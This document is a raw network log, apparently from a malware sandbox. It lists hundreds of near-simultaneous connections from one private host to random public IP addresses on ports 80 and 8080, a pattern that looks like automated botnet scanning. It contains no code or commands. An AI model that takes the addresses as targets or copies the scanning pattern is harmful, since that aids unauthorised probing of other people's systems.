Mar 21, 2024 05:16:52.897345066 CET	19039	80	192.168.2.23	83.250.198.53
Mar 21, 2024 05:16:52.897345066 CET	19039	80	192.168.2.23	213.196.157.233
Mar 21, 2024 05:16:52.897345066 CET	19039	80	192.168.2.23	178.144.20.86
Mar 21, 2024 05:16:52.897345066 CET	19039	80	192.168.2.23	206.145.239.12
Mar 21, 2024 05:16:52.897347927 CET	19039	80	192.168.2.23	83.11.183.176
Mar 21, 2024 05:16:52.897350073 CET	19039	80	192.168.2.23	83.115.169.245
Mar 21, 2024 05:16:52.897355080 CET	19039	80	192.168.2.23	213.194.17.132
Mar 21, 2024 05:16:52.897356033 CET	19039	80	192.168.2.23	206.200.226.89
Mar 21, 2024 05:16:52.897356987 CET	19039	80	192.168.2.23	82.202.94.125
Mar 21, 2024 05:16:52.897365093 CET	19039	80	192.168.2.23	213.219.106.176
Mar 21, 2024 05:16:52.897367001 CET	19039	80	192.168.2.23	178.3.161.180
Mar 21, 2024 05:16:52.897372961 CET	19039	80	192.168.2.23	82.208.179.205
Mar 21, 2024 05:16:52.897375107 CET	19039	80	192.168.2.23	83.253.15.74
Mar 21, 2024 05:16:52.897387981 CET	19039	80	192.168.2.23	86.116.122.242
Mar 21, 2024 05:16:52.897397995 CET	19039	80	192.168.2.23	86.125.158.200
Mar 21, 2024 05:16:52.897401094 CET	19039	80	192.168.2.23	86.211.149.140
Mar 21, 2024 05:16:52.897404909 CET	19039	80	192.168.2.23	181.146.200.38
Mar 21, 2024 05:16:52.897414923 CET	19039	80	192.168.2.23	169.240.209.245
Mar 21, 2024 05:16:52.897418022 CET	19039	80	192.168.2.23	178.188.137.135
Mar 21, 2024 05:16:52.897419930 CET	19039	80	192.168.2.23	213.15.91.198
Mar 21, 2024 05:16:52.897429943 CET	19039	80	192.168.2.23	200.99.100.108
Mar 21, 2024 05:16:52.897439957 CET	19039	80	192.168.2.23	178.167.91.86
Mar 21, 2024 05:16:52.897445917 CET	19039	80	192.168.2.23	200.58.175.210
Mar 21, 2024 05:16:52.897449017 CET	19039	80	192.168.2.23	178.213.13.1
Mar 21, 2024 05:16:52.897454023 CET	19039	80	192.168.2.23	178.103.154.10
Mar 21, 2024 05:16:52.897465944 CET	19039	80	192.168.2.23	213.187.210.19
Mar 21, 2024 05:16:52.897470951 CET	19039	80	192.168.2.23	213.134.1.133
Mar 21, 2024 05:16:52.897470951 CET	19039	80	192.168.2.23	178.101.132.162
Mar 21, 2024 05:16:52.897470951 CET	19039	80	192.168.2.23	206.236.4.24
Mar 21, 2024 05:16:52.897501945 CET	19039	80	192.168.2.23	181.170.189.151
Mar 21, 2024 05:16:52.897502899 CET	19039	80	192.168.2.23	86.58.0.132
Mar 21, 2024 05:16:52.897510052 CET	19039	80	192.168.2.23	83.119.138.44
Mar 21, 2024 05:16:52.897521019 CET	19039	80	192.168.2.23	169.194.15.200
Mar 21, 2024 05:16:52.897521973 CET	19039	80	192.168.2.23	206.245.216.199
Mar 21, 2024 05:16:52.897524118 CET	19039	80	192.168.2.23	82.31.100.3
Mar 21, 2024 05:16:52.897533894 CET	19039	80	192.168.2.23	86.235.232.54
Mar 21, 2024 05:16:52.897538900 CET	19039	80	192.168.2.23	213.154.103.57
Mar 21, 2024 05:16:52.897540092 CET	19039	80	192.168.2.23	181.200.174.206
Mar 21, 2024 05:16:52.897550106 CET	19039	80	192.168.2.23	200.201.18.135
Mar 21, 2024 05:16:52.897552967 CET	19039	80	192.168.2.23	83.56.238.115
Mar 21, 2024 05:16:52.897556067 CET	19039	80	192.168.2.23	181.8.166.214
Mar 21, 2024 05:16:52.897578001 CET	19039	80	192.168.2.23	80.250.221.99
Mar 21, 2024 05:16:52.897578001 CET	19039	80	192.168.2.23	178.65.114.157
Mar 21, 2024 05:16:52.897579908 CET	19039	80	192.168.2.23	178.31.222.26
Mar 21, 2024 05:16:52.897583008 CET	19039	80	192.168.2.23	178.83.44.201
Mar 21, 2024 05:16:52.897583961 CET	19039	80	192.168.2.23	82.231.85.123
Mar 21, 2024 05:16:52.897592068 CET	19039	80	192.168.2.23	83.231.146.38
Mar 21, 2024 05:16:52.897592068 CET	19039	80	192.168.2.23	80.62.204.161
Mar 21, 2024 05:16:52.897610903 CET	19039	80	192.168.2.23	169.108.108.7
Mar 21, 2024 05:16:52.897612095 CET	19039	80	192.168.2.23	82.44.47.19
Mar 21, 2024 05:16:52.897624016 CET	19039	80	192.168.2.23	181.227.198.103
Mar 21, 2024 05:16:52.897631884 CET	19039	80	192.168.2.23	200.56.193.190
Mar 21, 2024 05:16:52.897640944 CET	19039	80	192.168.2.23	178.184.35.12
Mar 21, 2024 05:16:52.897641897 CET	19039	80	192.168.2.23	83.150.181.161
Mar 21, 2024 05:16:52.897655964 CET	19039	80	192.168.2.23	169.15.153.213
Mar 21, 2024 05:16:52.897659063 CET	19039	80	192.168.2.23	82.169.147.213
Mar 21, 2024 05:16:52.897664070 CET	19039	80	192.168.2.23	169.157.187.113
Mar 21, 2024 05:16:52.897676945 CET	19039	80	192.168.2.23	83.247.205.69
Mar 21, 2024 05:16:52.897677898 CET	19039	80	192.168.2.23	80.68.100.198
Mar 21, 2024 05:16:52.897676945 CET	19039	80	192.168.2.23	206.108.217.79
Mar 21, 2024 05:16:52.897680998 CET	19039	80	192.168.2.23	213.120.62.49
Mar 21, 2024 05:16:52.897680998 CET	19039	80	192.168.2.23	80.165.136.20
Mar 21, 2024 05:16:52.897680998 CET	19039	80	192.168.2.23	178.212.50.123
Mar 21, 2024 05:16:52.897690058 CET	19039	80	192.168.2.23	178.147.47.118
Mar 21, 2024 05:16:52.897699118 CET	19039	80	192.168.2.23	80.41.215.158
Mar 21, 2024 05:16:52.897700071 CET	19039	80	192.168.2.23	213.75.1.220
Mar 21, 2024 05:16:52.897706032 CET	19039	80	192.168.2.23	83.67.115.193
Mar 21, 2024 05:16:52.897711039 CET	19039	80	192.168.2.23	169.158.221.44
Mar 21, 2024 05:16:52.897727013 CET	19039	80	192.168.2.23	82.166.53.170
Mar 21, 2024 05:16:52.897727013 CET	19039	80	192.168.2.23	83.75.72.176
Mar 21, 2024 05:16:52.897732019 CET	19039	80	192.168.2.23	178.188.147.222
Mar 21, 2024 05:16:52.897743940 CET	19039	80	192.168.2.23	83.45.2.179
Mar 21, 2024 05:16:52.897743940 CET	19039	80	192.168.2.23	200.114.76.84
Mar 21, 2024 05:16:52.897747993 CET	19039	80	192.168.2.23	206.52.178.135
Mar 21, 2024 05:16:52.897753000 CET	19039	80	192.168.2.23	206.165.6.222
Mar 21, 2024 05:16:52.897767067 CET	19039	80	192.168.2.23	169.70.207.4
Mar 21, 2024 05:16:52.897767067 CET	19039	80	192.168.2.23	181.19.226.213
Mar 21, 2024 05:16:52.897773027 CET	19039	80	192.168.2.23	200.100.114.247
Mar 21, 2024 05:16:52.897785902 CET	19039	80	192.168.2.23	200.83.194.75
Mar 21, 2024 05:16:52.897785902 CET	19039	80	192.168.2.23	178.90.211.44
Mar 21, 2024 05:16:52.897787094 CET	19039	80	192.168.2.23	181.244.162.89
Mar 21, 2024 05:16:52.897804976 CET	19039	80	192.168.2.23	80.100.47.131
Mar 21, 2024 05:16:52.897804976 CET	19039	80	192.168.2.23	83.168.159.64
Mar 21, 2024 05:16:52.897809029 CET	19039	80	192.168.2.23	169.177.118.247
Mar 21, 2024 05:16:52.897828102 CET	19039	80	192.168.2.23	83.54.95.194
Mar 21, 2024 05:16:52.897834063 CET	19039	80	192.168.2.23	200.189.25.67
Mar 21, 2024 05:16:52.897836924 CET	19039	80	192.168.2.23	169.189.48.74
Mar 21, 2024 05:16:52.897846937 CET	19039	80	192.168.2.23	80.77.241.65
Mar 21, 2024 05:16:52.897850990 CET	19039	80	192.168.2.23	82.20.28.243
Mar 21, 2024 05:16:52.897851944 CET	19039	80	192.168.2.23	86.23.249.250
Mar 21, 2024 05:16:52.897862911 CET	19039	80	192.168.2.23	86.249.121.191
Mar 21, 2024 05:16:52.897870064 CET	19039	80	192.168.2.23	200.135.17.231
Mar 21, 2024 05:16:52.897871017 CET	19039	80	192.168.2.23	206.139.72.173
Mar 21, 2024 05:16:52.897886038 CET	19039	80	192.168.2.23	80.35.246.55
Mar 21, 2024 05:16:52.897892952 CET	19039	80	192.168.2.23	169.80.215.100
Mar 21, 2024 05:16:52.897902012 CET	19039	80	192.168.2.23	213.40.67.58
Mar 21, 2024 05:16:52.897902966 CET	19039	80	192.168.2.23	86.78.14.52
Mar 21, 2024 05:16:52.897913933 CET	19039	80	192.168.2.23	181.9.51.248
Mar 21, 2024 05:16:52.897922993 CET	19039	80	192.168.2.23	213.124.252.66
Mar 21, 2024 05:16:52.897927999 CET	19039	80	192.168.2.23	169.151.60.65
Mar 21, 2024 05:16:52.897937059 CET	19039	80	192.168.2.23	86.129.239.105
Mar 21, 2024 05:16:52.897937059 CET	19039	80	192.168.2.23	178.103.241.240
Mar 21, 2024 05:16:52.897948980 CET	19039	80	192.168.2.23	82.99.63.218
Mar 21, 2024 05:16:52.897948980 CET	19039	80	192.168.2.23	169.241.35.74
Mar 21, 2024 05:16:52.897962093 CET	19039	80	192.168.2.23	178.141.237.171
Mar 21, 2024 05:16:52.897965908 CET	19039	80	192.168.2.23	181.187.114.45
Mar 21, 2024 05:16:52.897974968 CET	19039	80	192.168.2.23	169.148.248.161
Mar 21, 2024 05:16:52.897977114 CET	19039	80	192.168.2.23	169.185.206.44
Mar 21, 2024 05:16:52.897981882 CET	19039	80	192.168.2.23	178.131.66.104
Mar 21, 2024 05:16:52.897988081 CET	19039	80	192.168.2.23	213.60.108.82
Mar 21, 2024 05:16:52.898004055 CET	19039	80	192.168.2.23	206.220.91.247
Mar 21, 2024 05:16:52.898005962 CET	19039	80	192.168.2.23	86.151.126.116
Mar 21, 2024 05:16:52.898020029 CET	19039	80	192.168.2.23	181.85.149.57
Mar 21, 2024 05:16:52.898021936 CET	19039	80	192.168.2.23	213.141.98.199
Mar 21, 2024 05:16:52.898024082 CET	19039	80	192.168.2.23	83.218.27.228
Mar 21, 2024 05:16:52.898034096 CET	19039	80	192.168.2.23	86.188.100.112
Mar 21, 2024 05:16:52.898042917 CET	19039	80	192.168.2.23	213.41.121.26
Mar 21, 2024 05:16:52.898045063 CET	19039	80	192.168.2.23	213.198.189.204
Mar 21, 2024 05:16:52.898047924 CET	19039	80	192.168.2.23	86.202.180.25
Mar 21, 2024 05:16:52.898063898 CET	19039	80	192.168.2.23	178.198.208.96
Mar 21, 2024 05:16:52.898066044 CET	19039	80	192.168.2.23	82.52.40.50
Mar 21, 2024 05:16:52.898073912 CET	19039	80	192.168.2.23	169.72.100.127
Mar 21, 2024 05:16:52.898077965 CET	19039	80	192.168.2.23	200.192.187.231
Mar 21, 2024 05:16:52.898098946 CET	19039	80	192.168.2.23	82.28.174.220
Mar 21, 2024 05:16:52.898217916 CET	19039	80	192.168.2.23	206.53.171.244
Mar 21, 2024 05:16:52.898231030 CET	19039	80	192.168.2.23	86.105.81.206
Mar 21, 2024 05:16:52.898247957 CET	19039	80	192.168.2.23	86.184.200.110
Mar 21, 2024 05:16:52.898252010 CET	19039	80	192.168.2.23	178.208.75.169
Mar 21, 2024 05:16:52.898262024 CET	19039	80	192.168.2.23	80.30.130.208
Mar 21, 2024 05:16:52.898274899 CET	19039	80	192.168.2.23	178.31.130.41
Mar 21, 2024 05:16:52.898279905 CET	19039	80	192.168.2.23	82.117.23.80
Mar 21, 2024 05:16:52.898283958 CET	19039	80	192.168.2.23	213.215.49.164
Mar 21, 2024 05:16:52.898283958 CET	19039	80	192.168.2.23	83.99.107.125
Mar 21, 2024 05:16:52.898283958 CET	19039	80	192.168.2.23	86.82.145.197
Mar 21, 2024 05:16:52.898283958 CET	19039	80	192.168.2.23	86.74.175.76
Mar 21, 2024 05:16:52.898317099 CET	19039	80	192.168.2.23	83.198.1.240
Mar 21, 2024 05:16:52.898317099 CET	19039	80	192.168.2.23	213.175.232.80
Mar 21, 2024 05:16:52.898319006 CET	19039	80	192.168.2.23	181.138.205.214
Mar 21, 2024 05:16:52.898320913 CET	19039	80	192.168.2.23	80.222.216.61
Mar 21, 2024 05:16:52.898320913 CET	19039	80	192.168.2.23	206.210.0.189
Mar 21, 2024 05:16:52.898327112 CET	19039	80	192.168.2.23	181.97.124.170
Mar 21, 2024 05:16:52.898327112 CET	19039	80	192.168.2.23	181.41.239.250
Mar 21, 2024 05:16:52.898328066 CET	19039	80	192.168.2.23	82.35.195.8
Mar 21, 2024 05:16:52.898327112 CET	19039	80	192.168.2.23	169.246.96.72
Mar 21, 2024 05:16:52.898327112 CET	19039	80	192.168.2.23	206.242.208.5
Mar 21, 2024 05:16:52.898332119 CET	19039	80	192.168.2.23	80.51.7.161
Mar 21, 2024 05:16:52.898334026 CET	19039	80	192.168.2.23	80.32.65.119
Mar 21, 2024 05:16:52.898334026 CET	19039	80	192.168.2.23	200.169.194.15
Mar 21, 2024 05:16:52.898334026 CET	19039	80	192.168.2.23	213.73.80.201
Mar 21, 2024 05:16:52.898345947 CET	19039	80	192.168.2.23	82.116.228.66
Mar 21, 2024 05:16:52.898345947 CET	19039	80	192.168.2.23	86.159.30.44
Mar 21, 2024 05:16:52.898346901 CET	19039	80	192.168.2.23	178.63.231.224
Mar 21, 2024 05:16:52.898348093 CET	19039	80	192.168.2.23	178.95.101.59
Mar 21, 2024 05:16:52.898348093 CET	19039	80	192.168.2.23	181.242.200.68
Mar 21, 2024 05:16:52.898348093 CET	19039	80	192.168.2.23	200.232.111.47
Mar 21, 2024 05:16:52.898348093 CET	19039	80	192.168.2.23	213.60.224.197
Mar 21, 2024 05:16:52.898349047 CET	19039	80	192.168.2.23	82.119.49.252
Mar 21, 2024 05:16:52.898348093 CET	19039	80	192.168.2.23	178.93.64.162
Mar 21, 2024 05:16:52.898360014 CET	19039	80	192.168.2.23	206.37.236.63
Mar 21, 2024 05:16:52.898364067 CET	19039	80	192.168.2.23	82.226.206.165
Mar 21, 2024 05:16:52.898365021 CET	19039	80	192.168.2.23	82.23.3.113
Mar 21, 2024 05:16:52.898365021 CET	19039	80	192.168.2.23	200.84.240.239
Mar 21, 2024 05:16:52.898365021 CET	19039	80	192.168.2.23	83.173.159.43
Mar 21, 2024 05:16:52.898366928 CET	19039	80	192.168.2.23	200.98.187.51
Mar 21, 2024 05:16:52.898375034 CET	19039	80	192.168.2.23	169.189.125.161
Mar 21, 2024 05:16:52.898375034 CET	19039	80	192.168.2.23	80.121.206.138
Mar 21, 2024 05:16:52.898376942 CET	19039	80	192.168.2.23	206.234.238.227
Mar 21, 2024 05:16:52.898376942 CET	19039	80	192.168.2.23	200.182.144.194
Mar 21, 2024 05:16:52.898379087 CET	19039	80	192.168.2.23	82.18.190.81
Mar 21, 2024 05:16:52.898382902 CET	19039	80	192.168.2.23	80.46.74.188
Mar 21, 2024 05:16:52.898382902 CET	19039	80	192.168.2.23	206.57.122.241
Mar 21, 2024 05:16:52.898384094 CET	19039	80	192.168.2.23	169.133.83.80
Mar 21, 2024 05:16:52.898387909 CET	19039	80	192.168.2.23	213.160.89.91
Mar 21, 2024 05:16:52.898391008 CET	19039	80	192.168.2.23	206.131.55.225
Mar 21, 2024 05:16:52.898392916 CET	19039	80	192.168.2.23	80.6.239.34
Mar 21, 2024 05:16:52.898401022 CET	19039	80	192.168.2.23	206.132.62.19
Mar 21, 2024 05:16:52.898403883 CET	19039	80	192.168.2.23	213.189.0.95
Mar 21, 2024 05:16:52.898405075 CET	19039	80	192.168.2.23	200.171.244.92
Mar 21, 2024 05:16:52.898406029 CET	19039	80	192.168.2.23	206.164.38.83
Mar 21, 2024 05:16:52.898406029 CET	19039	80	192.168.2.23	178.117.97.67
Mar 21, 2024 05:16:52.898408890 CET	19039	80	192.168.2.23	178.230.180.179
Mar 21, 2024 05:16:52.898408890 CET	19039	80	192.168.2.23	82.12.200.232
Mar 21, 2024 05:16:52.898408890 CET	19039	80	192.168.2.23	181.246.51.202
Mar 21, 2024 05:16:52.898411989 CET	19039	80	192.168.2.23	181.37.202.64
Mar 21, 2024 05:16:52.898416042 CET	19039	80	192.168.2.23	181.102.161.8
Mar 21, 2024 05:16:52.898416996 CET	19039	80	192.168.2.23	80.71.40.194
Mar 21, 2024 05:16:52.898430109 CET	19039	80	192.168.2.23	80.114.54.84
Mar 21, 2024 05:16:52.898437977 CET	19039	80	192.168.2.23	86.28.180.104
Mar 21, 2024 05:16:52.898442030 CET	19039	80	192.168.2.23	86.72.89.36
Mar 21, 2024 05:16:52.898442984 CET	19039	80	192.168.2.23	83.154.159.148
Mar 21, 2024 05:16:52.898442984 CET	19039	80	192.168.2.23	169.145.162.215
Mar 21, 2024 05:16:52.898447990 CET	19039	80	192.168.2.23	206.139.12.208
Mar 21, 2024 05:16:52.898463011 CET	19039	80	192.168.2.23	169.27.29.72
Mar 21, 2024 05:16:52.898482084 CET	19039	80	192.168.2.23	213.85.22.50
Mar 21, 2024 05:16:52.898485899 CET	19039	80	192.168.2.23	169.66.162.196
Mar 21, 2024 05:16:52.898494959 CET	19039	80	192.168.2.23	80.196.227.204
Mar 21, 2024 05:16:52.898510933 CET	19039	80	192.168.2.23	178.140.52.179
Mar 21, 2024 05:16:52.898510933 CET	19039	80	192.168.2.23	181.68.218.192
Mar 21, 2024 05:16:52.898518085 CET	19039	80	192.168.2.23	213.39.159.181
Mar 21, 2024 05:16:52.898524046 CET	19039	80	192.168.2.23	178.182.10.165
Mar 21, 2024 05:16:52.898525953 CET	19039	80	192.168.2.23	178.155.87.76
Mar 21, 2024 05:16:52.898530960 CET	19039	80	192.168.2.23	80.139.206.206
Mar 21, 2024 05:16:52.898530960 CET	19039	80	192.168.2.23	169.141.230.84
Mar 21, 2024 05:16:52.898530960 CET	19039	80	192.168.2.23	86.68.208.79
Mar 21, 2024 05:16:52.898540020 CET	19039	80	192.168.2.23	80.236.44.199
Mar 21, 2024 05:16:52.898550034 CET	19039	80	192.168.2.23	83.106.164.119
Mar 21, 2024 05:16:52.898552895 CET	19039	80	192.168.2.23	80.232.101.171
Mar 21, 2024 05:16:52.898550034 CET	19039	80	192.168.2.23	83.149.109.206
Mar 21, 2024 05:16:52.898555040 CET	19039	80	192.168.2.23	200.151.81.37
Mar 21, 2024 05:16:52.898556948 CET	19039	80	192.168.2.23	181.233.7.37
Mar 21, 2024 05:16:52.898561001 CET	19039	80	192.168.2.23	213.94.203.170
Mar 21, 2024 05:16:52.898562908 CET	19039	80	192.168.2.23	80.98.112.191
Mar 21, 2024 05:16:52.898567915 CET	19039	80	192.168.2.23	86.15.56.232
Mar 21, 2024 05:16:52.898570061 CET	19039	80	192.168.2.23	200.98.199.206
Mar 21, 2024 05:16:52.898570061 CET	19039	80	192.168.2.23	181.30.124.97
Mar 21, 2024 05:16:52.898570061 CET	19039	80	192.168.2.23	86.85.193.6
Mar 21, 2024 05:16:52.898570061 CET	19039	80	192.168.2.23	213.118.24.237
Mar 21, 2024 05:16:52.898570061 CET	19039	80	192.168.2.23	80.229.155.50
Mar 21, 2024 05:16:52.898576975 CET	19039	80	192.168.2.23	86.68.211.19
Mar 21, 2024 05:16:52.898580074 CET	19039	80	192.168.2.23	83.74.139.108
Mar 21, 2024 05:16:52.898586035 CET	19039	80	192.168.2.23	181.42.66.130
Mar 21, 2024 05:16:52.898588896 CET	19039	80	192.168.2.23	82.204.199.67
Mar 21, 2024 05:16:52.898603916 CET	19039	80	192.168.2.23	83.186.226.61
Mar 21, 2024 05:16:52.898603916 CET	19039	80	192.168.2.23	206.85.7.185
Mar 21, 2024 05:16:52.898606062 CET	19039	80	192.168.2.23	86.175.51.60
Mar 21, 2024 05:16:52.898611069 CET	19039	80	192.168.2.23	181.49.157.130
Mar 21, 2024 05:16:52.898616076 CET	19039	80	192.168.2.23	178.35.42.94
Mar 21, 2024 05:16:52.898624897 CET	19039	80	192.168.2.23	200.29.49.136
Mar 21, 2024 05:16:52.898624897 CET	19039	80	192.168.2.23	213.97.247.110
Mar 21, 2024 05:16:52.898638964 CET	19039	80	192.168.2.23	181.47.17.237
Mar 21, 2024 05:16:52.898639917 CET	19039	80	192.168.2.23	206.48.99.11
Mar 21, 2024 05:16:52.898646116 CET	19039	80	192.168.2.23	181.225.57.236
Mar 21, 2024 05:16:52.898646116 CET	19039	80	192.168.2.23	86.2.127.94
Mar 21, 2024 05:16:52.898648977 CET	19039	80	192.168.2.23	86.137.197.117
Mar 21, 2024 05:16:52.898662090 CET	19039	80	192.168.2.23	80.105.61.248
Mar 21, 2024 05:16:52.898665905 CET	19039	80	192.168.2.23	178.17.177.77
Mar 21, 2024 05:16:52.898667097 CET	19039	80	192.168.2.23	169.99.113.26
Mar 21, 2024 05:16:52.898670912 CET	19039	80	192.168.2.23	200.173.11.85
Mar 21, 2024 05:16:52.898670912 CET	19039	80	192.168.2.23	86.189.179.179
Mar 21, 2024 05:16:52.898674011 CET	19039	80	192.168.2.23	80.60.244.130
Mar 21, 2024 05:16:52.898684978 CET	19039	80	192.168.2.23	83.11.96.21
Mar 21, 2024 05:16:52.898694992 CET	19039	80	192.168.2.23	83.91.58.235
Mar 21, 2024 05:16:52.898695946 CET	19039	80	192.168.2.23	200.172.180.163
Mar 21, 2024 05:16:52.898706913 CET	19039	80	192.168.2.23	169.24.13.68
Mar 21, 2024 05:16:52.898706913 CET	19039	80	192.168.2.23	169.31.58.24
Mar 21, 2024 05:16:52.898708105 CET	19039	80	192.168.2.23	178.134.250.158
Mar 21, 2024 05:16:52.898713112 CET	19039	80	192.168.2.23	213.43.110.103
Mar 21, 2024 05:16:52.898716927 CET	19039	80	192.168.2.23	200.232.55.107
Mar 21, 2024 05:16:52.898725033 CET	19039	80	192.168.2.23	169.239.41.168
Mar 21, 2024 05:16:52.898725986 CET	19039	80	192.168.2.23	200.239.100.254
Mar 21, 2024 05:16:52.898735046 CET	19039	80	192.168.2.23	86.184.64.140
Mar 21, 2024 05:16:52.898735046 CET	19039	80	192.168.2.23	83.41.252.204
Mar 21, 2024 05:16:52.898750067 CET	19039	80	192.168.2.23	82.215.188.0
Mar 21, 2024 05:16:52.898756027 CET	19039	80	192.168.2.23	206.106.213.252
Mar 21, 2024 05:16:52.898758888 CET	19039	80	192.168.2.23	83.191.249.210
Mar 21, 2024 05:16:52.898768902 CET	19039	80	192.168.2.23	169.157.201.47
Mar 21, 2024 05:16:52.898772001 CET	19039	80	192.168.2.23	200.86.86.54
Mar 21, 2024 05:16:52.898782969 CET	19039	80	192.168.2.23	169.3.247.158
Mar 21, 2024 05:16:52.898787022 CET	19039	80	192.168.2.23	82.198.223.117
Mar 21, 2024 05:16:52.898804903 CET	19039	80	192.168.2.23	82.69.229.207
Mar 21, 2024 05:16:52.898806095 CET	19039	80	192.168.2.23	178.94.50.49
Mar 21, 2024 05:16:52.898806095 CET	19039	80	192.168.2.23	181.254.50.180
Mar 21, 2024 05:16:52.898806095 CET	19039	80	192.168.2.23	86.9.90.99
Mar 21, 2024 05:16:52.898827076 CET	19039	80	192.168.2.23	169.53.182.244
Mar 21, 2024 05:16:52.898828030 CET	19039	80	192.168.2.23	80.56.90.250
Mar 21, 2024 05:16:52.898838043 CET	19039	80	192.168.2.23	83.147.255.191
Mar 21, 2024 05:16:52.898847103 CET	19039	80	192.168.2.23	82.176.21.54
Mar 21, 2024 05:16:52.898854017 CET	19039	80	192.168.2.23	83.104.97.238
Mar 21, 2024 05:16:52.898865938 CET	19039	80	192.168.2.23	83.197.129.24
Mar 21, 2024 05:16:52.898868084 CET	19039	80	192.168.2.23	169.6.167.197
Mar 21, 2024 05:16:52.898874044 CET	19039	80	192.168.2.23	181.197.254.211
Mar 21, 2024 05:16:52.898880005 CET	19039	80	192.168.2.23	178.26.85.243
Mar 21, 2024 05:16:52.898886919 CET	19039	80	192.168.2.23	86.229.17.14
Mar 21, 2024 05:16:52.898886919 CET	19039	80	192.168.2.23	181.41.52.15
Mar 21, 2024 05:16:52.898894072 CET	19039	80	192.168.2.23	178.184.228.166
Mar 21, 2024 05:16:52.898895025 CET	19039	80	192.168.2.23	169.112.120.58
Mar 21, 2024 05:16:52.898895979 CET	19039	80	192.168.2.23	82.83.215.253
Mar 21, 2024 05:16:52.898895979 CET	19039	80	192.168.2.23	181.218.151.107
Mar 21, 2024 05:16:52.898896933 CET	19039	80	192.168.2.23	181.125.19.238
Mar 21, 2024 05:16:52.898907900 CET	19039	80	192.168.2.23	206.150.1.89
Mar 21, 2024 05:16:52.898907900 CET	19039	80	192.168.2.23	80.32.159.195
Mar 21, 2024 05:16:52.898914099 CET	19039	80	192.168.2.23	206.197.80.18
Mar 21, 2024 05:16:52.898920059 CET	19039	80	192.168.2.23	80.141.250.182
Mar 21, 2024 05:16:52.898921013 CET	19039	80	192.168.2.23	200.38.35.255
Mar 21, 2024 05:16:52.898929119 CET	19039	80	192.168.2.23	82.145.106.97
Mar 21, 2024 05:16:52.898929119 CET	19039	80	192.168.2.23	169.205.178.251
Mar 21, 2024 05:16:52.898931980 CET	19039	80	192.168.2.23	82.16.165.87
Mar 21, 2024 05:16:52.898931980 CET	19039	80	192.168.2.23	181.75.249.101
Mar 21, 2024 05:16:52.898932934 CET	19039	80	192.168.2.23	82.99.243.4
Mar 21, 2024 05:16:52.898933887 CET	19039	80	192.168.2.23	178.121.94.225
Mar 21, 2024 05:16:52.898933887 CET	19039	80	192.168.2.23	206.107.100.247
Mar 21, 2024 05:16:52.898938894 CET	19039	80	192.168.2.23	169.201.147.91
Mar 21, 2024 05:16:52.898938894 CET	19039	80	192.168.2.23	169.33.46.68
Mar 21, 2024 05:16:52.898938894 CET	19039	80	192.168.2.23	200.52.237.226
Mar 21, 2024 05:16:52.898947001 CET	19039	80	192.168.2.23	206.250.165.59
Mar 21, 2024 05:16:52.898952961 CET	19033	8080	192.168.2.23	98.124.216.50
Mar 21, 2024 05:16:52.898967028 CET	19039	80	192.168.2.23	86.47.44.29
Mar 21, 2024 05:16:52.898969889 CET	19039	80	192.168.2.23	181.151.199.72
Mar 21, 2024 05:16:52.898969889 CET	19039	80	192.168.2.23	181.217.120.97
Mar 21, 2024 05:16:52.898972988 CET	19039	80	192.168.2.23	80.40.166.237
Mar 21, 2024 05:16:52.898974895 CET	19039	80	192.168.2.23	206.211.194.117
Mar 21, 2024 05:16:52.898992062 CET	19039	80	192.168.2.23	181.243.190.101
Mar 21, 2024 05:16:52.898999929 CET	19039	80	192.168.2.23	200.41.27.75
Mar 21, 2024 05:16:52.899009943 CET	19039	80	192.168.2.23	86.158.238.88
Mar 21, 2024 05:16:52.899019957 CET	19039	80	192.168.2.23	181.235.231.125
Mar 21, 2024 05:16:52.899025917 CET	19039	80	192.168.2.23	80.105.132.93
Mar 21, 2024 05:16:52.899027109 CET	19033	8080	192.168.2.23	98.90.230.184
Mar 21, 2024 05:16:52.899041891 CET	19039	80	192.168.2.23	83.108.45.108
Mar 21, 2024 05:16:52.899045944 CET	19039	80	192.168.2.23	82.227.219.240
Mar 21, 2024 05:16:52.899048090 CET	19039	80	192.168.2.23	82.113.25.241
Mar 21, 2024 05:16:52.899050951 CET	19039	80	192.168.2.23	213.32.50.141
Mar 21, 2024 05:16:52.899053097 CET	19039	80	192.168.2.23	83.234.172.202
Mar 21, 2024 05:16:52.899070978 CET	19039	80	192.168.2.23	200.150.124.230
Mar 21, 2024 05:16:52.899070978 CET	19033	8080	192.168.2.23	98.141.123.24
Mar 21, 2024 05:16:52.899074078 CET	19033	8080	192.168.2.23	172.249.234.13
Mar 21, 2024 05:16:52.899074078 CET	19039	80	192.168.2.23	200.131.236.169
Mar 21, 2024 05:16:52.899075985 CET	19039	80	192.168.2.23	83.53.139.248
Mar 21, 2024 05:16:52.899075985 CET	19039	80	192.168.2.23	82.187.234.217
Mar 21, 2024 05:16:52.899085999 CET	19039	80	192.168.2.23	213.21.130.245
Mar 21, 2024 05:16:52.899096012 CET	19039	80	192.168.2.23	82.143.56.75
Mar 21, 2024 05:16:52.899096966 CET	19039	80	192.168.2.23	82.226.165.21
Mar 21, 2024 05:16:52.899099112 CET	19039	80	192.168.2.23	178.36.233.72
Mar 21, 2024 05:16:52.899106979 CET	19039	80	192.168.2.23	82.179.186.41
Mar 21, 2024 05:16:52.899107933 CET	19039	80	192.168.2.23	83.108.154.129
Mar 21, 2024 05:16:52.899107933 CET	19039	80	192.168.2.23	181.6.129.21
Mar 21, 2024 05:16:52.899127007 CET	19033	8080	192.168.2.23	184.39.129.82
Mar 21, 2024 05:16:52.899127960 CET	19039	80	192.168.2.23	86.221.232.83
Mar 21, 2024 05:16:52.899127007 CET	19039	80	192.168.2.23	213.139.34.68
Mar 21, 2024 05:16:52.899137974 CET	19039	80	192.168.2.23	83.186.97.104
Mar 21, 2024 05:16:52.899142027 CET	19039	80	192.168.2.23	169.29.190.149
Mar 21, 2024 05:16:52.899142027 CET	19033	8080	192.168.2.23	98.17.50.30
Mar 21, 2024 05:16:52.899146080 CET	19039	80	192.168.2.23	83.131.142.248
Mar 21, 2024 05:16:52.899146080 CET	19039	80	192.168.2.23	181.89.99.248
Mar 21, 2024 05:16:52.899152040 CET	19033	8080	192.168.2.23	98.13.102.63
Mar 21, 2024 05:16:52.899152040 CET	19039	80	192.168.2.23	178.192.178.41
Mar 21, 2024 05:16:52.899154902 CET	19039	80	192.168.2.23	86.221.123.222
Mar 21, 2024 05:16:52.899166107 CET	19033	8080	192.168.2.23	172.229.231.69
Mar 21, 2024 05:16:52.899169922 CET	19039	80	192.168.2.23	181.113.116.144
Mar 21, 2024 05:16:52.899177074 CET	19039	80	192.168.2.23	86.19.222.211
Mar 21, 2024 05:16:52.899178028 CET	19039	80	192.168.2.23	80.117.234.66
